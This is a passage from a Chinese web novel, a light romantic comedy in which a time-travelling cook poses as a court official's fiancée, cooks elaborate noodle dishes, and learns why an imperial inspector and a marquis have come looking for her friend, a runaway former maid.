“正是,这位便是我的未婚妻程六水。”张清寒颔首笑道,脸上适时出现了一缕红晕。 “不过一年,您竟然真是转了性,往常那么个冰冷性子,如今也有情投意合的意中人了。”白婉瑜笑道。 “如今想来都是缘分,我刚回江陵就遇见了六水,老天注定躲也躲不得的,你不也从皇后娘娘身前女官变成了卫侯夫人吗?”张清寒道。 “确是这个理,可我倒是好奇,六水姑娘你与张大人订亲一事,我那至今未娶的哥哥知不知道?” 第49章 牛舌饼 江陵这地界过了立春,便是一天比一天暖和了起来,尤其今日一大早的阳光就洒进了酒楼大堂,或明或暗的光影映在了程六水依旧满是笑容的脸上,连嘴角的弧度都没变。 “阿茂自是不知的,想当年京城一别,倒也有个三年了,不知他近来可好?”程六水温和道。 “阿茂?六水你与白承茂白小侯爷认识?”还不等白婉瑜开口,张清寒一反常态地按捺不住性子问道。 “幼时相熟,只是后来阿茂回京了,这联系就愈发难了,要不我怎会今日头回见着阿茂的胞妹呢。”程六水弯起眉眼,笑眯眯地解释道,仿佛真是在安抚无端吃醋的郎君。 张清寒听了这话,方才立起的剑眉才微微放下,勉强恢复成体面样子道,“原是这样,怪不得不曾听你说起过。” 白婉瑜见这二人一唱一和的,却也沉得住气道,“是了,今日确实是头回见着六水,果然如兄长所说,灵秀婉清好似那天地灵气都聚在六水身上了。我当时听兄长说还不信,也是在他房中见了六水的画像才信了五分,如今见了真人才知兄长所言不虚。” 这回张清寒的立着的眉毛是彻底下不来了,他拉着六水的那只手依旧温温柔柔,而另一只手则没那么体面了,藏在身后差点就要将那衣摆搓成绸絮了。 画像?还是放在自己房中的画像?白承茂这厮到底想做什么?在外作出一副正人君子的模样,没想到竟然如此可恶可憎,张清寒愈想愈气,本就是假夫妻没真心,再被这么一催,那陈年老醋缸怕是真要打翻了。 “阿茂总是这般和善,谁在他嘴里都只有个好字,说起画像想必是当年在庐州所作的药园图吧,这么多年了难为他还一直放在心上。”程六水语笑晏晏,纤细手指自然而然地回握住了张清寒。 “兄长自程门出事急得不行,他心里是极挂念你的,可惜找遍了庐州都未寻到你。去岁承袭爵位便愈发忙碌了,我每每见他,他总是郁郁在怀眉头紧锁,他要是知道你就在这江陵,定然放下手中事来找你。”白婉瑜打眼一瞧那张大人的脸色,半点没有顾忌继续说道。 “阿茂向来重情,都怪我当年出事颠沛流离了几年,直到遇到清寒我才安顿下来。”程六水说着便含情脉脉地望向张清寒,一双圆溜溜的眸子万千柔情中还带着些许感激。 她接着说道,“阿茂如今事多繁重,国家大事理当为先不可耽误了,待他何时来江陵公干,我们相见才好。” 张清寒冷着一张脸,半句话都不愿多说,幸亏他天生冷脸,不然这烈火烹心再大卸八块的苦楚就得露出来了,昨夜六水一顿忽悠,忽悠得他真觉着她与白承茂间不过尔尔,可如今看来那白承茂定然是同他一样,情根深种无法自拔,偏偏遇上这么个没心没肺的程六水,真是伤透了脑筋。 “好都依六水的,兄长这等公干的机会不少,说不定过两月便来了。”白婉瑜不再痴缠,转头说道,“张大人,我这舟车劳顿的,不知可有空房接我借宿一二?” “方知府曾与我言,你此次前来是带了皇后娘娘的圣令的,这等御史身份在我这小小酒楼怎行?想必方知府早就备好宅邸了。”张清寒这回连笑都不笑了,直截了当道。 “张大人说笑了,你皇城司使住得,我怎就住不得,常年在京中宅院里待着,好不容易出来一趟再住宅邸实在是无趣得很,倒不如你这儿市井人家更为贴近百姓生活,这不也合了皇后娘娘察访江陵人政的御令吗?”白婉瑜在御前行走多时,说话办事是滴水不漏,这番话不软不硬有理有据,甚至最后还搬出了皇后,实在是一座大山压过来。 “那正好,若是你不嫌弃便在这里住下,我们这啊可热闹了,邻里邻居极为捧场生意好得很,伙计们也是有意思得很呢。”程六水完美假笑面具下已然摇摇欲坠了,老天爷啊谁能告诉她,白承茂的妹妹怎么这么难缠,那白承茂没生出来的九曲回肠是不是全给他妹妹了。 “哪里会嫌弃呢,我这人最喜欢热闹了,你莫要把我当成什么御史,只将我当作白承茂的妹妹,你与我兄长是青梅竹马,这么算来你我也是姐妹情谊了。”白婉瑜说罢,更是亲亲热热地挎过程六水,将那张清寒甩在了一边。 程六水自然无有不应,半个眼色都没留给张清寒,自顾自地引着白婉瑜去了二楼空着的厢房。 待到程六水再下来时,只见那张清寒铁青的脸色别提有多难看了,指挥着卫侯夫人的侍从们一趟一趟的搬箱笼。 “怎么了?我的张大人。”程六水撑着一张笑脸,脚底却虚浮得很,就差要一头栽倒在板凳上了。 张清寒见状哪里还敢摆脸色,忙不迭地端茶倒水伺候着,“无事,只是今日怕是要一顿忙活,想必生意是做不成了。” “御史亲临少做一天生意没什么的,瞅着也是快日上三竿了,不如你随我去看看为卫侯夫人做些什么吃食?”程六水小心翼翼地探出脑袋,一下子就瞧着了白婉瑜的侍女仍在大堂逗留着,看着低眉顺意实则怕不是在监视着他们的一言一行。 张清寒也瞧见 了,顺从地道了句“好。”两人恩恩爱爱地就离了大堂,一到了后院,程六水半点端庄也不顾了,拉着张清寒就往自己房里跑啊,不知道以为后面有奥运冠军追她呢。 进了门还不算,程六水蹑手蹑脚地关紧了所有门窗,提着小襦裙贼头贼脑地趴着墙听屋外有没有人在监听。 那一本正经的做贼模样,瞧得张清寒头不痛心不气了,不禁轻笑道,“放心吧,他们要是在屋外,我能听到他们的呼吸。” “这么厉害?!”程六水一听就惊着了,蹙着弯眉在张清寒身边打起了转,真是连连称奇啊,这人放现代不就是人肉雷达侦测系统嘛,现成的牛马不去当办案可惜了了。 张清寒这下子被看得颇有些不自在,六水眼神怎么怪怪的,自己仿佛成了砧板上的肉,“咳咳,这白婉瑜住下来,怕是一时半会走不了了,得劳烦你再多忍耐些时日。” “哎呀不要这么客气嘛,这假扮女友的活我既然接了,肯定是让东家你买不了吃亏买不了上当的。”程六水如奸商般笑得那叫一个狡猾,接着又问道,“咱是一天算一天的钱吧?” “……是。”张清寒咬着牙道,六水也别叫六水了,改名叫钱串子吧。 “那演得好有没有提成啊?我刚才演得多好,我现在想起都不得不为自己拍案叫绝,不亚于戏班子专业出身的。”程六水没吃过猪肉还没见过猪跑吗,宫斗剧宅斗剧里的人都这么说话,随便一句话都能让观众分析个百八十遍。 “呵确实不错,真情实感得很,我看不像演的,句句都是你的肺腑之言。”张清寒一想到方才,嘴里的酸话就不自觉地往外冒,半点都是控制不住的。 程六水一抬头,只见眼前东家冷着一张脸,眼刀子仿佛正朝着自己飞来,这祖宗是又怎么了?按理说青春期早过了啊,怎么一会儿笑呵呵一会儿皱巴巴的,喜怒阴晴十分不定。 要是往常,程六水闲着没事总还是愿意说些俏皮话逗逗金主东家的,可今日起得早又费了许多脑子,实在是懒得管了,她假装压根没听出来张东家的阴阳怪气,抓起方桌上的零食筐子就吃了起来。 这零食筐子是她最近刚寻摸的,自从手头宽裕不少,筐子里牛舌饼金丝蜜枣梨脯,瓜子花生应有尽有,程六水想着大早上吃些甜腻蜜饯对牙不好,拣了块牛舌饼小口小口吃了起来。 层层叠叠的酥皮下椒盐咸香,难得的咸口里又掺着丝丝缕缕的甜,瞬间舒缓了程六水一早上的疲惫,做厨子难做演员更难,做没有台词临场发挥的演员真是难上加难。 张清寒眼瞅着程六水吃得欢天喜地,一块牛舌饼不够还要接着吃第二块,他这边气得要死,她倒好吃得香睡得好,半点事也不耽误啊。 实在气不过,一只宽大的手说时迟那时快,以雷霆万钧之势,在第二块牛舌饼入口前的前一瞬硬生生被夺下,张清寒恶狠狠地一口全塞进了自己的嘴里,吹胡子瞪眼睛的吓人得很。 到嘴的牛舌饼飞了,飞到了程六水打不过的人嘴里,程六水心中立时升起了一股难以抑制的愤怒,愤怒到她直接上前捏住了张清寒吃得鼓鼓囊囊的脸,使劲揉搓了起来。 “吃吃吃!我叫你吃,我捏死你!”向来护食的程六水咆哮道。 单方面的扭打下,张清寒极白的脸迅速绯红一片,嘴角的酥皮渣子都没擦干净,委屈巴巴的眼睛里甚至生出了湿润之意。 好不容易咽下牛舌饼的张清寒,默不作声低头停滞了几瞬,才眼角殷红道,“到我这,就是要捏死我了,别人那里却都是些什么重情和善。” “???”程六水正享受着胜利的喜悦,金丝蜜枣的清甜将将在嘴里炸开便卡住了,什么重情和善?他们不是在抢饼吗? 第50章 蟹黄面 忽悠人不打草稿的程六水大脑宕机了,眼前之人本该如山间月巅上雪,如今却可怜得不成样子,活像受了奇耻大辱般委屈,震得程六水是说也说不得,打也打不得,都恨不得自己负荆请罪了。 “我那不是顺口胡诌的吗?毕竟是御史的亲哥哥,怎么也不能说些不着四六的话啊。”程六水悄悄揪了揪张清寒的衣袖,一双眼心虚地滴溜溜转个不停。 张清寒撇过脸来,梗着脖子不肯罢休,仿若未曾听见程六水的解释,可那耳朵却竖得比谁都直。 程六水努着嘴鼓着脸,宛如一尾圆鼓鼓小锦鲤,悄然探头到张清寒耳后道,“嘿嘿东家,给你吃梨脯,我亲手腌煎的可甜了。” 温热潮湿的气息侵袭着张清寒敏感且脆弱的耳朵尖,一抖抖的根本控制不住,他整个人怔愣在原地不敢动弹,轻柔清甜的声音从耳后传来,怕是要比那蜜糖腌过的梨脯甜上百倍。 本就被捏红的脸颊现下早已快熟透了,张清寒抿着嘴唇半天都说不出话来,胸中洪流瞬间地动山摇难以收拾,乌云不知何时悄然离去,唯余熊熊烈火烹心。 “怎么了,梨脯都不吃了?”程六水转过身来到张清寒身前,低着头掰开他紧紧握住的手掌道。 一只大手轻轻松松地被掰开,澄黄清香的梨脯放在了白皙却皆是指痕的手掌心里,“吃吧吃吧,我这梨脯宝贝得很,只舍得给你吃。” 程六水说罢才抬起头来,好家伙东家怎么脸红成柿子了,“东家,你不会是发烧了吧?”紧接着便踮起脚尖伸出手来摸着他的额头。 张清寒猛然站了起来不禁后退闪躲了几步,随后才气息不稳道,“我没事,就是这屋里太闷了。” “太闷了?”程六水狐疑着,瞥见角落里的轩窗明明支开了半扇,许许春风绕屋来。 张清寒随着程六水的目光看去,随即更是低下了头,深深地长舒了口气才接着开口,“白承茂年少入仕,不过数载便声名鹊起,其才华显而易见,更遑论出身侯爵树大根深,是个不可多得的治世之才。” 程六水啃着梨脯,乖乖地抱着零食筐子窝在圈椅里,眨巴着大大的眼睛点了点头,心里却半点波澜都没有,只有对自己伟大的烹饪手艺连连称赞,这果脯做得都能开铺子了,到时候开遍整个大乾,就叫“三只梨脯”。 “自然了树大招风,白承茂的性子在朝中也是出了名的。”张清寒停顿了几瞬,目光望向老实巴交的程六水。 程六水咧着嘴傻笑了起来,显然她深谙一个道理,本本分分做人,尤其是在把对方都快惹哭了的时候。 张清寒敛起眼眸,摇着头不禁笑出了声,不知是笑自己傻还是笑六水傻,亦或是笑远在京城的白承茂傻,“他是出了名的心狠手辣睚眦必报,刚及弱冠便是雷霆手段,朝中无人不知无人不晓。” 程六水这时才皱了皱眉,这怎么同她记忆中的白承茂相差甚远,“真的吗?我明明记得小时候,他总是跟着我跑,我还拿毛毛虫吓他呢,吓得他哇哇大哭。” “说不定就是被你吓成这样的。”张清寒故作开怀地调笑道,他悄悄咽下了未说完的话,毒蛇只会在鲜美的果子前驻足停留,正如冰雪总会情不自禁地在春晖中消融。 “我才没有呢,但白承茂这个妹妹一看就是狠角色,说话那个九曲十八弯啊。”程六水摇了摇头,不禁为日后的演艺事业担忧。 “无事,她如今这番表现,我倒是不担心了。”张清寒也吃起了梨脯,这回是一点都不客气,从筐子里抓了好几个呢。 “为何?”程六水仰着脑袋不解道。 “她素来是个心有成算的人,若是此行真是想寻个由头引我回京,方才便不会如此说起白承茂,瞧着是故意引得你我猜忌。”张清寒轻声道。 “可你我猜忌亲事不成,酒楼成了伤心地,江陵你便无所牵挂,不是正好引你回京?”程六水反问道。 “那你说我是个什么性子?”张清寒温和一笑道。 “你……说实话不扣工钱吧?”程六水眼睛一转,讨好笑道。 “放心说吧,不扣你钱。”张清寒无奈道,实在是拿这个钱串子没什么办法。 “你冷心冷情城府极深,旁人轻易猜不透你的心思。”程六水摇了摇道,眼见着冷心冷情的某人脸也冷了,才接着 道,“不过相处久了,便知你是个顶顶可靠的人,有时也不乏可爱之处。” “算你会说。”张清寒没好气道,“我惯不是那直来直去的随意性子,既能定亲又怎会轻易因旁人而分崩离析。白婉瑜在殿前行走多时,怎会在我面前玩这样的小把戏。” 张清寒说罢垂眸不语,他与六水若是真是情投意合定了终身,莫说是一个白承茂,便是十个皇帝来又能奈他何?此生此世没有什么能将他们分开,眼眸中藏着无人察觉的偏执执拗。 “你说得倒是有那么点道理,可她此行如果不是为了让你回京,那是为什么?江陵组团游?”程六水一时间有点跟不上古代人算东算西的脑回路,但现代人的思维告诉她两者之间直线最短,她脑中不禁灵光一现道,“如果她不让你回京城,那我们是不是就不用假装定亲了呀?” “我不知她到底是为了什么,但一定与江陵有关,甚至与酒楼有关。”张清寒挑眉道,“还有我们必须装下去,御史得上令来此,欺骗御史相当于欺君。” “欺君?!老天爷啊我要涨工钱,不然我这脆弱的小心脏实在承受不了这样的压力。”程六水作势就要晕倒,两眼一翻就要过去了,小手还不忘自己给自己掐人中。 “涨涨涨,你说涨多少就涨多少。”张清寒扶额又是叹气道,总有一天自己就是被六水气死的。 “哦耶!”程六水立马坐得板板正正,从柜子里取出小算盘开始算起帐来。 “六水,除了算账你是不是还忘了什么事?”张清寒笑眯眯道。 程六水忙不迭地从算盘里抬起头来,眉头一皱哦豁好明媚的日头,貌似到后院不是来算账的,而是来做饭的! “嘿嘿你给我打下手。”程六水咧嘴道。 “好。”张清寒点了点头,甘之如饴道。 后厨里灶火早已燃起,两个狗狗祟祟的人都蹲在那里仔细钻研着,半只老母鸡剁成了块,在砂锅中翻滚着,极为鲜美的香味充斥着整个后厨。 “上次六水怎么说来着?是不是还差什么肉来着?”马陶陶摸着下巴一本正经道。 “老母鸡,火腿肉,猪瘦肉条,确实好像缺了一样。”脑子同样不是十分好使的乔四方挠了挠头道。 两人背后忽然传来了一清脆声音,“缺了干贝。” “对对对!”马陶陶一拍脑袋,赶忙翻箱倒柜找到加了进去,“哎?六水你终于来了!” 程六水十分熟练地系上了碎花小围裙,砂锅中咕嘟咕嘟的高汤正在吊着,她又将大缸子上的盖子取了下来,竟是不老少的螃蟹,一个个正在那横行霸道呢。 大大的蒸锅里,二三十只螃蟹被困在了里面,灵活的蟹钳上抱着黄姜片,上盖开蒸。 这边蒸上了螃蟹,张清寒还在那剥虾,如今的河虾个头都不大,小小一只先是把虾仁剥出来,随后虾脑膏黄也放到一旁的小碗里,最后连虾籽也不放过尽数被抖了出来。 如此精细活计实在是饶人得很,所幸张清寒耐心极佳眼神又好,干起活来是手脚麻利胆大心细。 而马陶陶则掏弄起冬日里囤得不少干货来,什么干香菇黄花菜木耳笋干的,一股脑全洗净泡水里,随后便跑去邻街的豆腐坊买油豆腐去了。 乔四方留守在菜板前,手持大菜刀刷刷几下,胡萝卜就成片,再刷刷几下茭白也无从遁形,如今他不仅西瓜弯刀耍得虎虎生风,就连这菜刀也是不在话下的,就是让他雕个老虎都成。 只不过今日的主厨并没有给他发挥的机会,乔四方只能埋头扒螃蟹去了,这螃蟹生得便是不想落入人腹中的模样,全身除了壳就是钳子,寻常人怕是要头疼得很,但乔四方哪能是一般人啊,大手一按一拉,熟透的螃蟹就老老实实地被剥壳了,蟹黄蟹肉堆得跟小山一样。 待一切准备齐全,程六水直接热锅烧油,半头姜切成了碎末倒入锅中翻炒,生姜辣人而熟姜却别有风味,此时再放入剥好的蟹黄,此时柴火火候极小,熬着熬着蟹黄便出了油香,蟹肉再伴着花雕酒下锅,锅中金灿灿的蟹黄裹着雪白的蟹肉,螃蟹的鲜甜被彻底激发了出来,盐巴白糖最后再来点高汤,一个劲地翻炒起来,这蟹黄浇头便成了。 单是这蟹黄浇头却是不够的,程六水难得地取了猪油热锅,用蛋清腌好的虾仁三两下便在锅中变了色,此时再下虾脑虾籽翻炒,这三虾浇头吃得就是一个鲜,难就难在同是虾却有三种鲜,虾仁清爽弹牙,虾脑醇厚鲜美,虾籽更是鲜中精华,这三者汇聚于锅中引得张清寒都开始探头探脑了。 “别急别急,我再炒个浇头的。”程六水看着眼前这一个个饿狼扑食的伙计们,赶忙说道。 最后一个浇头便是那罗汉素浇头了,菜籽油中木耳黄花菜香菇笋干一同将整个冬日里的山中滋味爆香,再取时令的胡萝卜茭白,还有极为吸汁的油豆腐一同翻炒。 佐以清酱砂糖胡椒粉调味,倒入许多香菇水咕嘟咕嘟炖煮着,盖子牢牢盖好万不可让一丝香味溜走,最后简单勾芡那浓稠的汤汁裹在各式各样的素菜上,一口便能暖了心暖了胃。 程六水拣了六小碗,碗中蟹黄浇头,三虾浇头,罗汉素浇头自不必说,其余的便是酒楼食客们人人称道的豆酱,胡瓜丝萝卜丝豆芽菜点缀着,再有就是一碗吊了许久的老母鸡高汤,六小碗簇拥着煮得极为劲道恰到好处的面条。 “好了,给御史大人送去吧,其余的我们都给吃光光!”程六水也馋得要命,肚子都叫了好几回了。 谁曾想这回没人敢去送了,马陶陶和乔四方一个望天一个望地,不是做饭那时候的勤快样子了。 “让玉雨去送吧。”张清寒无奈道。 “不行不行,玉雨病才刚好,正是劳累不得的时候,不如还是东家你去吧?”程六水俏皮道。 “……好”张清寒只得点了点头道。 “嘿嘿那我去叫玉雨吃饭去喽!”程六水蹦蹦跳跳去赵玉雨屋里找人去了。 而在二楼收拾妥帖的卫侯夫人,斜倚在榻上百无聊赖地望向窗外,再向下一瞧,这拐角窗子下面怎么还有个梯子呢。 “连云,你打听仔细了,那人就在酒楼里?”白婉瑜好似不在意般问道。 “正是,奴婢循着杜尚书独子的醉酒之言,几经探访确定此人就在这儿,与画像上一模一样。”连云低头谦卑道,说罢将怀中画像递于自家主子。 白婉瑜纤纤玉指接过那薄如蝉翼的纸张,精妙绝伦的画功描绘着画中人,如此栩栩如生令人难以忘怀。《 》 50-60 第51章 小哈巴狗 晃眼日光轻而易举地砸在了画像上,白婉瑜不禁皱眉几下,却仍目不转睛地看着,如诗如画的眉眼迸发出了不该有的热烈狂野,她忍不住伸出指尖细细勾勒着画上人的面庞。 “咳咳。”身后忽而传来冰冷的声音,不知何时张清寒早已站在此处。 白婉瑜怔愣了几瞬,才慢悠悠地将手中的画像翻折起来放在一旁道,“张大人腿脚倒快,在京中还收敛着,不曾想来这却连门都不敲了。” “我本来也没走门。”张清寒轻放浇头面在桌上,坐在椅子上面无表情地看向白婉瑜。 连云给自家主子递了个眼色,目光随之一转,白婉瑜更是气不顺了,这人竟是从梯子上上来的。 “我说呢,原来竟成了野人了。”白婉瑜没好气道。 张清寒本是想顺便将这梯子移走,奈何他双眼如炬,又探查办案多年,一打眼便瞧见了画中人,饶是他见事老道,也脚打粗溜滑了,绝世轻功都抛诸脑后了。 “白御史不必顾左右而言他,说说吧。”张清寒本就是个不愿解释的性子,开门见山道。 白婉瑜使了个眼色,左右侍女便推出了房间,她这才微微坐直了身子道,“说什么?有什么好说的。” “若是你不说也 无妨,这画像不如让我带回去物归原主?“张清寒手指微微一动,那画像仿佛被隔空取物般,“嗖”地一下来到了张清寒的手上。 “你!张清寒你莫要得寸进尺。”白婉瑜这才失了体面,大声呵斥道。 “哪里算得上得寸进尺,这是我的地盘,客随主便不是再正常不过了吗?”张清寒微微笑道,紧接着他又言道,“你虽做了御前女官几载,然去岁便已出宫嫁人,皇后是个素来知情识趣的人,断没有让新婚夫妇分离的道理,而你今日能出现在这儿,自然是你向皇后求来的。” 白婉瑜盛气凌人的眸子顿时消散了几分火焰,她却仍撑着道,“求与不求,与你又有何干?今日我就是皇后娘娘亲派御史,接得密令便是带你回京为君分忧,你要是不随我回京,便是抗旨。” 张清寒仍旧面不改色心不跳,“皇后让你带我回京,你带不回去,不是你抗旨吗?同我有什么关系。” “你!”白婉瑜语塞哽咽,她哪里见过这等不要脸皮的人,气得恨不得将这人大卸八块泄愤。 “行了,你来这里有你要做的事,我不拦着,你自然也莫要把主意打在我身上,你我都行个方便。”张清寒直截了当道。 白婉瑜顺气了好几下才说道,“放心吧,谁敢在你身上打主意啊,玉面修罗冷心人,你还是想想怎么唬住程姑娘吧,她可不是你这等刀尖舔血的人。” “刀?我很久没用过那东西,顶多只用过菜刀。”张清寒淡然道,“吃吧,我未婚妻给你做的,她人好心善,我却舍不得她,以后你就下来吃大锅饭吧。” 白婉瑜紧紧攥住手,强忍着怒火脸都要气红了,奈何强龙不压地头蛇,她只能拿起筷子敷衍着。 澄黄白嫩的蟹黄蟹肉裹住了老母鸡汤里煮过一回的劲道面条,浓郁醇厚鲜到极致的螃蟹香味在空气中飘荡着,白婉瑜本来气都气饱了,可谁知鼻翼微动腹中便一阵饥肠辘辘,再低头一瞧原来竟不止这蟹黄面,还有最得她心意的三虾浇头,配上仍在冒着热气的鸡汤,怎一个勾人啊。 眼随心动,方才的意气愤慨早就不知哪去了,一口蟹黄面一口三虾面,再来几口鸡汤,舟车劳顿的味蕾瞬间被打开,埋头苦吃起来都不用人劝的,待到吃了个半饱才反应过来,自己不是刚刚在生气吗? 回头一瞧,屋子里早已不见张清寒的踪影了,白婉瑜这才放下心来,继续大吃特吃起来! 而张清寒走得极快,直奔后院而来,推开后厨门正欲问个清楚明白,就见那方才挤满人的厨房早就跑光了,唯有程六水在那儿煮面,一旁则是三不五时就来蹭吃蹭喝的方知府。 “哎呦张老弟,快来吃上一口,六水这浇头做得真是金银都不换。”方知府捧着个大海碗说起话来。 “他们人呢?”张清寒越过方知府问道。 “今日酒楼不做生意,他们就出去逛逛,怎么了?”程六水实诚地又煮了一海碗面放到了张清寒面前。 张清寒再急也只能坐在方知府身旁,轻声道“无事,等他们回来再说吧。”紧接着问道,“方大人你是来见白御史的?” “我昨日刚见过了白御史,将江陵面貌一概都说于她听了。”方知府从碗里抬起头道。 “那你今日所来为何?”张清寒在面上浇了勺罗汉素浇头,煸得极为软烂的黄花菜木耳极为开胃爽口,而那油豆腐则是吸满了汤汁,一咬开就满嘴都是山珍时蔬的清香。 方知府忽而放下了筷子,神情说不出的疲惫心累道,“老弟啊,你说说我今年是什么运道,前脚来了个宫中御史,要来查这江陵人政,后脚驿馆消息又来了,卫侯马上就到江陵了。” “卫侯?长安侯卫无平?白婉瑜的新婚夫婿?”张清寒刚吃两口的面哽住了。 “可不是吗?我看是那卫侯舍不得白御史,这才寻了个由头追来。”方知府一副了然于胸过来人的模样,笑眯眯地拍了拍张清寒的肩膀道。 程六水一听就来了兴致,拄着下巴赶忙问道,“卫侯与白御史感情这么好的嘛?” 不等方知府开口,张清寒直接说道,“年少相识两小无猜。” “那不就青梅竹马门当户对,一个是侯爵公子一个是御前红人,怎一个般配了得。”程六水听罢不禁磕道。 “他们两个从小就面合心不合,两人皆城府极深,没少给对方使绊子。”张清寒叹了口气道。 “那怎会成亲?”正吃瓜吃得起劲的程六水皱眉问道。 “父母之命媒妁之言,长安侯府与伯远侯府相互依仗结两姓之好,从不被小儿女的私情而左右。况且这桩亲事是两位老侯爷逝去前定下的,儿女自然没有不遵先命的道理。”张清寒习以平常道,京城中这样的亲事如过江之鲫,半点真情道理没有,却是最为稳固的利益联结。 “那卫侯追来是做什么?”程六水和方知府同时开口问道,两人皆被这亲事的原委惊得瞠目结舌。 张清寒猛然醒悟,素来敛起的眼眸瞪大,拉着程六水就往外跑。 “哎!”程六水提着自己的粉襦裙十分猝不及防,说是她跑其实她那脚都不带沾地的,整个飞在空中。 “张老弟你跑什么啊!等等我!”方知府穿着身官服,半点也不顾父母官的颜面了,跟在这二人后面跑得都快喘不上来气了。 他也不想跑啊,常年在府衙里打转,跑两步就累得想躺地上,可不跑不行啊。能让这位皇城司使都吓了一跳,嗖嗖跑的事,自己不跑能行吗? 张清寒听见了方知府的喊叫,一边跑一边回头问道,“卫侯现在何处?” “昨夜还在枣阳驿,约莫现下已经到江陵了。”方知府上气不接下气道。 哪曾想这话音刚落,前面这两人“嗖”地一下就不见了身影,给方知府吓得前后左右看了好一会儿,也没想明白这两人是怎么没的。 而彻底在空中的程六水已然放弃了挣扎,她跟这些会武功的古代人说不明白,生无可恋地往下看了看,还行没有刚穿越那会儿的悬崖高,掉下去应该死不了,死不了就行,也不要求什么别的了。 待到她双脚踏踏实实落在地面上的时候,只见乔四方,马陶陶还有赵玉雨三人正在狗市看狗。 三人看着从天而降的程六水和张清寒,纷纷都愣住了,眨巴眨巴着眼睛半天都说不出话来。 “东家,我们就看看不买的,你不用飞着来抓我们。”马陶陶抱着怀里刚刚两个月大的小哈巴狗,眼神闪躲道,而她手里的银钱早已被卖家接过去了。 “养狗好,养狗能看家护院。”乔四方默默解释道。 “东家,我这不是生病刚好嘛,陶陶就想买只小狗逗我开心。”赵玉雨挡在最前面道。 张清寒一言不发,一个极为凌厉的眼刀飞去,他拉着程六水,程六水挽着马陶陶,马陶陶带着赵玉雨,后面还跟着个屁颠屁颠的乔四方,一行人消失在集市中不知所踪,当然还有只哈巴狗也跟着跑了。 断口子河春日未到汛期,河上已有撑船的船家,如今商路发达船只造得也比前几年大了许多,坐下五人一狗还绰绰有余,撑船的人则带着极大的草帽将自己遮得严严实实的,对着张清寒点了点头,便放下了门帘。 一只船就在断口子河上飘来荡去,无人有能耐探听分毫,更别提这河面上街道上有多少皇城司使的暗探,无孔不入地盯梢着。 酒楼五人面面相觑地坐在船里,小哈巴狗早就支撑不住睡着了,四脚朝天地趴在赵玉雨脚旁。 张清寒低声却极快地说了一成串的话,听得众人是一愣一愣的,程六水更是久久没缓过神来,最后迷茫地转过头问道,“玉雨,到底是白御史要找你?还是卫侯要找你?” 第52章 皆大欢喜 微风透过船帘,轻拂着赵玉雨苍白面庞,她前些日子生了场病,病不大也就是伤风却着实养了许久,养到千方百计躲着的人都来了江陵,只为来寻她。 “我与白御史……并不相熟,只是听过她的名字,又远远见过那么几次。我当时便想,如此钟灵毓秀举止端方的大家闺秀嫁于卫侯,便当真是天造地设的一对了。”赵玉雨并未抬头,只是抱起了熟睡的小哈巴狗,轻柔地梳理着它雪白橘黄的软毛道。 “我想起来了,杜二二有次同我讲,他见你愈发眼熟,但怎么也想不起来在哪见过你,所以你们是在卫侯府上见过吗?”程六水小心翼翼道,小动物本能的直觉告诉她,这是一桩头破血流的伤心事,本该忙不迭地捂住耳朵当作什么都不知,可出事的是玉雨啊。 赵玉雨依旧温和地笑着,眼神中藏着极为隐晦的痛,“是,我本就是卫侯府上的小丫鬟,七八岁便被爹娘卖给了人牙子,幸得老长安侯夫人心善买下了我,我便跟着她做些力所能及的差事。 待我愈发大了,老夫人见我伶俐,便将我调去了卫侯身边,那时的卫侯还只是世子,正如这坊间俗气得不能再俗气的本子,我与世子有过一段还算不错的时光。 后来老夫人便知道了,她是个极为和善心慈的人,她唤我来到她的身旁,仍如往常那般温柔地对我,她说再给我一次机会,若是我愿意,就销了我的奴籍予我银钱,送我去封地的庄子上做个管事的,自由自在不必再圈在这大宅院里,过着一眼便能望到头的日子。” “那你没答应?”马陶陶接着问道。 赵玉雨接着摇了摇头道,“我没有半点犹豫,只是几瞬便拒绝了老夫人,放弃了唾手可得的自由,那时的我哪里舍得世子,世子虽对外人冷漠,待我却极好,我笑他便随着我笑,我哭他也要急得团团转转,若是丢下他一人在这偌大的侯府,怕是在拿刀剐我的心口。 后来老夫人走了,老侯爷也撒手人寰,世子承袭爵位不出两年,便是京中响当当的人物了,他也愈发忙碌了,我半月才能见他一回,仍旧做着丫鬟的活计,直到有一日我在侯府见到了白小姐。“赵玉雨苦笑了下。 程六水心里紧随着被狠狠揪住了,她紧紧靠在赵玉雨身旁,蹙着眉心疼地接着听她说道, “原来他们二人早有婚约,只待孝期一过便要成亲了,可叹我在府中竟然半点也不知晓,后来我才知是卫侯下令府中诸人不许在我面前提起的,这一瞒竟瞒了好多年。 我知我自己是个什么身份,从不敢奢求做卫侯真正的枕边人,他这样的世家子弟定是要有桩门当户对的亲事。于是我便愈发做小伏低,只盼他能给我个妾室的名分,只要离他近些便好。” “他……不愿给你吗?”马陶陶抿嘴惊道,她家虽说是后来才发家的,却也靠着皇室恩典在京城中有些地位,这等事虽不说家家都有,却也不少见,多半都是会留有情面的,除非是碰上那眼里容不了沙子的主母,才会给些银钱送走。 可瞧着玉雨这样子,两者都不像,更像是走投无路逃出来的。 “卫侯自然不愿意,他就想让我这样无名无分的跟着他,莫说是妾室就是个外室都算不上,我就是个丫鬟而已。最可笑的是,他竟还编什么瞎话唬我,说名分没什么要紧的,只要我在他身边便是最好的,想见我随时都能见,待白小姐做了主母也奈何不得。 我没读过什么书,却也识得字明白道理,跟着卫侯名分没有真心更不知,难道就只做一辈子的丫鬟吗?围着个只把我当个玩意儿的人,那我这余生还不如不要过了好了。那一夜我后悔了,我忽然明白了当年老夫人眼里的可惜,她在可惜我亲手折断了逃离这牢笼的翅膀,只能拖着沉重的锁链日复一日地在这里蹉跎一生。 原来老夫人才是那个知我懂我真正怜惜我的人,而卫侯……他不过是拿我当作召之即来挥之即去的小宠罢了。 于是我就逃了,在他们成亲的第二日,我亲手烧了我的卖身契,离开了侯府。“赵玉雨从那难捱的岁月回忆中抬起头来,如释重负地笑道。 “逃得好!我跟你说玉雨,别人越不把咱们当人看,咱们越得活出个人样来。不为别的,就为咱们受过的苦,都得开开心心地活着。”一直沉默不语的乔四方大声道,咧着嘴笑得那叫一个灿烂。 赵玉雨这才被真正逗笑了,“好,我在很好很好地活着,我和六水学厨艺,少仲还要教我酿酒,前几日我连算盘珠子都会了。” “是啊,玉雨你不用怕他们,东家是大官,他肯定都能搞定!”程六水挽过赵玉雨的手道。 某大官张清寒猝不及防地抬起头,是在说他吗?他连自己的儿女情长都没搞定,还能搞定这么个复杂的事? 